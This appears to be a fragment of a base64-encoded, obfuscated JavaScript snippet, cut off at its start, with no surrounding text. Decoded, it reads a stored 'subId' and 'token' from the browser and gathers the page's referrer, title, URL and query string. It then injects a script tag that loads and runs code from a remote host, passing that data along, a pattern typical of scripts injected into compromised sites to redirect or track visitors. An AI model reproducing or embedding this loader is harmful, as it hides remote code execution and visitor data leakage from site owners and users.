0UjRIICE9PSBudWxsKSB7CiAgICAgICAgdmFyIF8xVFZEa0pmUjZzS1A3Qmg4ID0gSlNPTi5wYXJzZShfRFZjTHZGTnhZZjRydFI0SCk7CiAgICAgICAgdmFyIF9UazdyNWYyMU1mTDQ3N212ID0gTWF0aC5yb3VuZCgrbmV3IERhdGUoKS8xMDAwKTsKICAgICAgICBpZiAoXzFUVkRrSmZSNnNLUDdCaDguY3JlYXRlZF9hdCArIHdpbmRvdy5fWWRzSjcxYjNwZmtiS3o5ZC50dGwgPCBfVGs3cjVmMjFNZkw0NzdtdikgewogICAgICAgICAgICBsb2NhbFN0b3JhZ2UucmVtb3ZlSXRlbSgnc3ViSWQnKTsKICAgICAgICAgICAgbG9jYWxTdG9yYWdlLnJlbW92ZUl0ZW0oJ3Rva2VuJyk7CiAgICAgICAgICAgIGxvY2FsU3RvcmFnZS5yZW1vdmVJdGVtKCdjb25maWcnKTsKICAgICAgICB9CiAgICB9CiAgICB2YXIgX2RtS1JKdnFKcE5KaHdWWFEgPSBsb2NhbFN0b3JhZ2UuZ2V0SXRlbSgnc3ViSWQnKTsKICAgIHZhciBfdzFzcFhmbmg2dktKMmN3SiA9IGxvY2FsU3RvcmFnZS5nZXRJdGVtKCd0b2tlbicpOwogICAgdmFyIF93NkI1d3pIc0Y3MmY3MmNTID0gJz9yZXR1cm49anMuY2xpZW50JzsKICAgICAgICBfdzZCNXd6SHNGNzJmNzJjUyArPSAnJicgKyBkZWNvZGVVUklDb21wb25lbnQod2luZG93LmxvY2F0aW9uLnNlYXJjaC5yZXBsYWNlKCc/JywgJycpKTsKICAgICAgICBfdzZCNXd6SHNGNzJmNzJjUyArPSAnJnNlX3JlZmVycmVyPScgKyBlbmNvZGVVUklDb21wb25lbnQoZG9jdW1lbnQucmVmZXJyZXIpOwogICAgICAgIF93NkI1d3pIc0Y3MmY3MmNTICs9ICcmZGVmYXVsdF9rZXl3b3JkPScgKyBlbmNvZGVVUklDb21wb25lbnQoZG9jdW1lbnQudGl0bGUpOwogICAgICAgIF93NkI1d3pIc0Y3MmY3MmNTICs9ICcmbGFuZGluZ191cmw9JyArIGVuY29kZVVSSUNvbXBvbmVudChkb2N1bWVudC5sb2NhdGlvbi5ob3N0bmFtZSArIGRvY3VtZW50LmxvY2F0aW9uLnBhdGhuYW1lKTsKICAgICAgICBfdzZCNXd6SHNGNzJmNzJjUyArPSAnJm5hbWU9JyArIGVuY29kZVVSSUNvbXBvbmVudChuYW1lKTsKICAgICAgICBfdzZCNXd6SHNGNzJmNzJjUyArPSAnJmhvc3Q9JyArIGVuY29kZVVSSUNvbXBvbmVudCh3aW5kb3cuX1lkc0o3MWIzcGZrYkt6OWQuUl9QQVRIKTsKICAgIGlmICh0eXBlb2YgX2RtS1JKdnFKcE5KaHdWWFEgIT09ICd1bmRlZmluZWQnICYmIF9kbUtSSnZxSnBOSmh3VlhRICYmIHdpbmRvdy5fWWRzSjcxYjNwZmtiS3o5ZC51bmlxdWUpIHsKICAgICAgICBfdzZCNXd6SHNGNzJmNzJjUyArPSAnJnN1Yl9pZD0nICsgZW5jb2RlVVJJQ29tcG9uZW50KF9kbUtSSnZxSnBOSmh3VlhRKTsKICAgIH0KICAgIGlmICh0eXBlb2YgX3cxc3BYZm5oNnZLSjJjd0ogIT09ICd1bmRlZmluZWQnICYmIF93MXNwWGZuaDZ2S0oyY3dKICYmIHdpbmRvdy5fWWRzSjcxYjNwZmtiS3o5ZC51bmlxdWUpIHsKICAgICAgICBfdzZCNXd6SHNGNzJmNzJjUyArPSAnJnRva2VuPScgKyBlbmNvZGVVUklDb21wb25lbnQoX3cxc3BYZm5oNnZLSjJjd0opOwogICAgfQogICAgaWYgKCcnICE9PSAnJykgewogICAgICAgIF93NkI1d3pIc0Y3MmY3MmNTICs9ICcmYnlwYXNzX2NhY2hlPSc7CiAgICB9CiAgICB2YXIgYSA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ3NjcmlwdCcpOwogICAgICAgIGEudHlwZSA9ICdhcHBsaWNhdGlvbi9qYXZhc2NyaXB0JzsKICAgICAgICBhLnNyYyA9IHdpbmRvdy5fWWRzSjcxYjNwZmtiS3o5ZC5SX1BBVEggKyBfdzZCNXd6SHNGNzJmNzJjUzsKICAgIHZhciBzID0gZG9jdW1lbnQuZ2V0RWxlbWVudHNCeVRhZ05hbWUoJ3NjcmlwdCcpWzBdOwogICAgcy5wYXJlbnROb2RlLmluc2VydEJlZm9yZShhLCBzKQogICAgfSkoKTsKICAgIA== »>